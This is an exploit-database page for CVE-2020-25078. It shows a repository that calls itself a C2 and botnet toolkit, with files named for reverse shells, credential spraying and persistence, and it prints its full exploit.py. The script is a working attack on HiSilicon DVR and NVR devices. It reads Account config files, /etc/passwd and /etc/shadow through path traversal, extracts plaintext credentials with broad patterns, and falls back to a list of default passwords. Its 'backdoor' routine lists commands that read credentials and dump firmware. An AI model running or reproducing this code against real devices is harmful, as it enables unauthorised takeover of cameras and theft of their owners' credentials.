Exploit databaseDownload repository ZIP
GH-2af8eacf03924d61b877104a3bad36c4
flags-alt/abyss-c2
Sources for CVE-2020-25078
14 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files39
flags-alt/abyss-c2Revision e53991d4aec1
- templates/
- .gitignore
- README.md
- auto_exploit.py
- botnet.py
- brute.py
- clean_db.py
- cred_spray.py
- database.py
- exploit.py
- inject_key.py
- inject_key2.py
- inject_key3.py
- inject_key4.py
- inject_ssh.py
- intel.py
- launch.py
- network_exploit.py
- persistence.py
- pivot_chain.py
- portscan.py
- proxy_rotation.py
- recon_asn.py
- recon_dns.py
- recon_geoip.py
- recon_jarm.py
- recon_waf.py
- requirements.txt
- reverse_shell.py
- scanner.py
- scheduler.py
- server.py
- socks_pivot.py
- stealth.py
- telnet_client.py
- web_brute.py
- web_bugs.py
- web_cves.py
- web_exploit.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Python · 9,937 bytesimport requests
import urllib3
import re
import base64
import hashlib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# CVE-2020-25078 - HiSilicon DVR/NVR Information Disclosure
# Affected: HiSilicon Hi3516/Hi3518/Hi3519 based DVR/NVR devices
# The vulnerability allows unauthenticated access to sensitive config files
# via path traversal, revealing plaintext admin credentials.
# Known vulnerable paths on HiSilicon DVRs
VULN_PATHS = [
'/../../../../../../../../../mnt/mtd/Config/Account1',
'/../../../../../../../../../mnt/mtd/Config/Account2',
'/../../../../../../../../../mnt/mtd/Config/Account3',
'/../../../../../../../../../mnt/custom/Config/Account1',
'/../../../../../../../../../etc/passwd',
'/../../../../../../../../../etc/shadow',
'/../../../../../../../../../proc/self/status',
'/../../../../../../../../../proc/cpuinfo',
'/../mnt/mtd/Config/Account1',
'/../mnt/mtd/Config/Account2',
'/../mnt/custom/Config/Account1',
'/../etc/passwd',
'/../etc/shadow',
'/config/Account1',
'/config/Account2',
'/Account1',
'/Account2',
'/System/configurationFile',
'/current_config/passwd',
'/proc/kcore',
'/dev/urandom',
]
# Known credential parsing patterns (aggressive, multi-format)
CRED_PATTERNS = [
# INI format: name=xxx, pass(?:wd|word)?=yyy on same or adjacent lines
re.compile(rb'(?:name|user(?:name)?|login|account|id)\s*[=:]\s*"?([^"\r\n]{1,32})"?.*?(?:pass(?:wd|word)?|pwd|secret|key)\s*[=:]\s*"?([^"\r\n]{1,32})"?', re.I | re.DOTALL),
# Space-delimited: name=xxx pass=yyy
re.compile(rb'(?:name|user(?:name)?)[=:]\s*(\S{1,32})\s+(?:pass(?:wd|word)?|pwd)[=:]\s*(\S{1,32})', re.I),
# XML format
re.compile(rb'<UserName>([^<]{1,32})</UserName>.*?<Password>([^<]{1,32})</Password>', re.I | re.DOTALL),
# JSON format
re.compile(rb'"(?:UserName|username|user|login)"\s*:\s*"([^"]{1,32})".*?"(?:Password|password|passwd|pwd)"\s*:\s*"([^"]{1,32})"', re.I | re.DOTALL),
# URL-encoded: user=xxx&pass=yyy
re.compile(rb'(?:user|username|login|name)=([^&\s]{1,32}).*?(?:pass|password|pwd)=([^&\s]{1,32})', re.I | re.DOTALL),
# Two consecutive non-empty lines that look like user/pass
re.compile(rb'^[=\s]*(\S{2,20})\s*$\n^[=\s]*(\S{2,20})\s*$', re.M | re.DOTALL),
# Null-byte separated fields (binary config)
re.compile(rb'(?:admin|root|user|guest|default|operator|viewer)\x00([^\x00]{1,32})', re.I),
# Base64 auth: base64(user:pass) or base64(user):base64(pass)
re.compile(rb'([A-Za-z0-9+/=]{8,40}):([A-Za-z0-9+/=]{4,40})'),
# Generic: any two adjacent printable strings on consecutive lines
re.compile(rb'(?:^|\n)\s*(\S{2,20})\s*\n\s*(\S{2,20})\s*(?:\n|$)', re.I),
# DVR-specific config format
re.compile(rb'\[Account\d\].*?(?:name|user)=(\S+).*?(?:pass|pwd)=(\S+)', re.I | re.DOTALL),
# Simple colon format: user:pass
re.compile(rb'(\S{3,20}):(\S{3,32})\s*(?:\n|$)', re.I),
]
# Device fingerprinting signatures
DEVICE_SIGNATURES = {
b'hi3516': 'HiSilicon Hi3516',
b'hi3518': 'HiSilicon Hi3518',
b'hi3519': 'HiSilicon Hi3519',
b'hi3520': 'HiSilicon Hi3520',
b'hi3531': 'HiSilicon Hi3531',
b'hi3536': 'HiSilicon Hi3536',
b'hisi': 'HiSilicon Generic',
b'davinci': 'DaVinci DVR',
b'xiongmaitech': 'XiongMai DVR',
b'xmtech': 'XiongMai DVR',
b'ipcamera': 'Generic IP Camera',
b'netdvrs': 'NetDVR',
b'hikvision': 'Hikvision DVR',
b'dahua': 'Dahua DVR',
}
HEADERS = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': '*/*',
}
def check_vulnerable(ip, port=80, timeout=5):
"""Check if target is vulnerable to CVE-2020-25078"""
base_url = f'http://{ip}:{port}'
results = {'vulnerable': False, 'credentials': [], 'model': '', 'info': {}}
for path in VULN_PATHS:
try:
url = base_url + path
resp = requests.get(url, headers=HEADERS, timeout=timeout, verify=False, allow_redirects=False)
if resp.status_code == 200 and len(resp.content) > 50:
results['vulnerable'] = True
content = resp.content[:5000]
# Try to extract credentials
for pattern in CRED_PATTERNS:
matches = pattern.findall(content)
for match in matches:
try:
user = match[0].decode('utf-8', errors='ignore').strip().strip('\x00')
pwd = match[1].decode('utf-8', errors='ignore').strip().strip('\x00')
# Aggressive garbage filtering
garbage_words = ['\x00', '', ' ', 'null', 'none', 'undefined',
'http', 'https', 'www.', '.com', '.pl', '.se', '.net', '.org',
'html', 'HTTP', 'xmlns', 'encoding', 'version',
'content-type', 'text/html', 'charset', 'DOCTYPE',
'server', 'nginx', 'apache', 'iis', 'gws',
'<html', '<body', '<head', '<meta', '<xml',
'application/', 'multipart/', 'boundary',
'close', 'keep-alive', 'gzip', 'deflate', 'chunked',
'max-age', 'no-cache', 'private', 'public',
'Mozilla', 'Chrome', 'Safari', 'Firefox', 'Opera',
'AppleWebKit', 'Gecko', 'Trident',
'username', 'password', 'passwd', 'pwd', 'login',
'name=', 'pass=', 'user=']
user_low = user.lower()
pwd_low = pwd.lower()
if len(user) < 2 or len(pwd) < 1:
continue
if any(w in user_low for w in garbage_words):
continue
if any(w in pwd_low for w in garbage_words):
continue
if user_low in garbage_words or pwd_low in garbage_words:
continue
entry = {'username': user, 'password': pwd, 'file': path}
if entry not in results['credentials']:
results['credentials'].append(entry)
except:
pass
# Fingerprint device
for sig, model in DEVICE_SIGNATURES.items():
if sig.lower() in content.lower():
results['model'] = model
break
# Extract serial numbers and other info
sn_match = re.search(rb'(?:SN|Serial|serial)[:=]\s*(\S+)', content)
if sn_match:
results['info']['serial'] = sn_match.group(1).decode('utf-8', errors='ignore').strip()
fw_match = re.search(rb'(?:FW|Firmware|firmware|version)[:=]\s*(\S+)', content, re.I)
if fw_match:
results['info']['firmware'] = fw_match.group(1).decode('utf-8', errors='ignore').strip()
except requests.exceptions.Timeout:
continue
except requests.exceptions.ConnectionError:
continue
except Exception:
continue
# Also check common web endpoints for device type
common_endpoints = ['/', '/index.html', '/login.html', '/config.js', '/api/device/info']
for ep in common_endpoints:
try:
resp = requests.get(f'{base_url}{ep}', headers=HEADERS, timeout=timeout, verify=False)
for sig, model in DEVICE_SIGNATURES.items():
if sig.lower() in resp.content.lower():
if not results['model']:
results['model'] = model
break
except:
pass
return results
def exploit_get_credentials(ip, port=80, timeout=5):
"""Full exploit: extract all credentials from the device"""
data = check_vulnerable(ip, port, timeout)
if not data['vulnerable']:
return []
if data['credentials']:
return data['credentials']
# Device is vulnerable but no creds extracted - try common defaults
DEFAULTS = [
('admin', 'admin'),
('admin', '12345'),
('admin', '123456'),
('admin', 'password'),
('admin', ''),
('admin', '888888'),
('root', 'root'),
('root', 'admin'),
('root', '12345'),
('root', 'vizxv'),
('root', 'jvbzd'),
('root', 'hi3518'),
('admin', '1111111'),
('admin', '666666'),
('admin', 'meinsm'),
('service', 'service'),
('guest', 'guest'),
('default', 'default'),
('user', 'user'),
('operator', 'operator'),
('admin', '7ujMko0admin'),
('admin', 'tlJwpbo6'),
]
return [{'username': u, 'password': p, 'source': 'defaults'} for u, p in DEFAULTS]
def deploy_backdoor_command(ip, username, password, port=23):
"""Generate backdoor deployment commands for telnet access"""
# Many HiSilicon DVRs run busybox with telnetd
cmds = [
f'echo "Backdoor installed on {ip}"',
'cat /proc/cpuinfo | grep -i model',
'uname -a',
'cat /etc/passwd',
'ps aux',
'ifconfig',
'netstat -antp',
'cat /mnt/mtd/Config/Account* 2>/dev/null || cat /mnt/custom/Config/Account* 2>/dev/null',
'dd if=/dev/mtdblock0 of=/tmp/firmware_dump.bin bs=1024 count=4096 2>/dev/null',
'ls -la /mnt/',
'cat /proc/mounts',
]
return cmds